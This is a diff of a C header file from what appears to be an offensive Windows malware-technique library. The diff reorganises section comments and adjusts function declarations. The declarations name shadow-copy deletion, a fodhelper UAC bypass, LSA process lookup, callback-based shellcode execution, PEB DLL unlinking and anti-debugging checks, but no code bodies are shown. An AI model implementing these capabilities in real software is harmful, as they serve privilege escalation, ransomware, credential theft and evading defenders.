GetLastErrorFromTeb(VOID); NTSTATUS GetLastNtStatusFromTeb(VOID); VOID SetLastErrorInTeb(_In_ DWORD ErrorCode); @@ -41,7 +61,11 @@ VOID SetLastNtStatusInTeb(_In_ NTSTATUS Status); DWORD Win32FromHResult(_In_ HRESULT Result); DWORD RtlNtStatusToDosErrorViaImport(_In_ NTSTATUS Status); -//cryptography related + + +/******************************************* + CRYPTOGRAPHY RELATED +*******************************************/ DWORD HashStringDjb2A(_In_ PCHAR String); DWORD HashStringDjb2W(_In_ PWCHAR String); ULONG HashStringFowlerNollVoVariant1aA(_In_ PCHAR String); @@ -67,7 +91,10 @@ BOOL HashFileByMsiFileHashTableW(_In_ PWCHAR Path, _Inout_ PULONG FileHash); BOOL HashFileByMsiFileHashTableA(_In_ PCHAR Path, _Inout_ PULONG FileHash); -//library loading + +/******************************************* + LIBRARY LOADING +*******************************************/ PTEB GetTeb(VOID); PPEB GetPeb(VOID); PPEB GetPebFromTeb(VOID); @@ -87,7 +114,11 @@ BOOL RtlLoadPeHeaders(_Inout_ PIMAGE_DOS_HEADER* Dos, _Inout_ PIMAGE_NT_HEADERS* HMODULE GetModuleHandleEx2A(_In_ LPCSTR lpModuleName); HMODULE GetModuleHandleEx2W(_In_ LPCWSTR lpModuleName); -//helper functions + + +/******************************************* + HELPER FUNCTIONS +*******************************************/ BOOL IsPathValidA(_In_ PCHAR FilePath); BOOL IsPathValidW(_In_ PWCHAR FilePath); BOOL CreateLocalAppDataObjectPathW(_Inout_ PWCHAR pBuffer, _In_ PWCHAR Path, _In_ DWORD Size, _In_ BOOL bDoesObjectExist); @@ -123,7 +154,11 @@ HMODULE TryLoadDllMultiMethodW(_In_ PWCHAR DllName); HMODULE TryLoadDllMultiMethodA(_In_ PCHAR DllName); DWORD CreateThreadAndWaitForCompletion(_In_ LPTHREAD_START_ROUTINE StartAddress, _In_ LPVOID Parameters, _In_ DWORD dwMilliseconds); -//fingerprinting + + +/******************************************* + FINGERPRINTING +*******************************************/ LCID GetCurrentLocaleFromTeb(VOID); DWORD GetNumberOfLinkedDlls(VOID); BOOL IsNvidiaGraphicsCardPresentA(VOID); @@ -150,7 +185,11 @@ DWORD GetPidFromNtQueryFileInformationA(_In_ PCHAR FullBinaryPath); DWORD GetPidFromPidBruteForcingExW(_In_ PWCHAR ProcessNameWithExtension); DWORD GetPidFromPidBruteForcingExA(_In_ PCHAR ProcessNameWithExtension); -//malicious capabilities + + +/******************************************* + MALICIOUS CAPABILITIES +*******************************************/ DWORD OleGetClipboardDataA(_Inout_ PCHAR Buffer); DWORD OleGetClipboardDataW(_Inout_ PWCHAR Buffer); DWORD MpfComVssDeleteShadowVolumeBackups(_In_ BOOL CoUninitializeAfterCompletion); @@ -160,18 +199,14 @@ BOOL UacBypassFodHelperMethodA(_In_ PCHAR PathToBinaryToExecute, _Inout_ PPROCES BOOL UacBypassFodHelperMethodW(_In_ PWCHAR PathToBinaryToExecute, _Inout_ PPROCESS_INFORMATION Pi); DWORD MpfGetLsaPidFromRegistry(VOID); DWORD MpfGetLsaPidFromServiceManager(VOID); -BOOL ShellcodeExecViaCertEnumSystemStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); -BOOL ShellcodeExecViaCDefFolderMenu_Create2(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); -BOOL ShellcodeExecViaCertEnumSystemStoreLocation(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); -BOOL _unstable__ShellcodeExecViaCertFindChainInStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); -BOOL ShellcodeExecViaEnumChildWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); -BOOL ShellcodeExecViaEnumDateFormatsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); -BOOL ShellcodeExecViaEnumDesktopWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); -BOOL ShellcodeExecViaEnumDesktopsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); -BOOL ShellcodeExecViaEnumDirTreeW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); DWORD MpfGetLsaPidFromNamedPipe(VOID); +BOOL ShellcodeExecutionViaFunctionCallbackMain(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); -//evasion + + +/******************************************* + EVASION +*******************************************/ BOOL CreateProcessWithCfGuardW(_Inout_ PPROCESS_INFORMATION Pi, _In_ PWCHAR Path); BOOL CreateProcessWithCfGuardA(_Inout_ PPROCESS_INFORMATION Pi, _In_ PCHAR Path); HRESULT CreateProcessFromIHxInteractiveUserW(_In_ PWCHAR UriFile); @@ -191,7 +226,11 @@ DWORD CreateProcessViaNtCreateUserProcessA(PCHAR FullBinaryPath); BOOL RemoveDllFromPebA(_In_ LPCSTR lpModuleName); BOOL RemoveDllFromPebW(_In_ LPCWSTR lpModuleName); -//antidebug + + +/******************************************* + ANTI-DEBUGGING +*******************************************/ BOOL AdfCloseHandleOnInvalidAddress(VOID); BOOL AdfIsCreateProcessDebugEventCodeSet(VOID); BOOL AdfOpenProcessOnCsrss(VOID);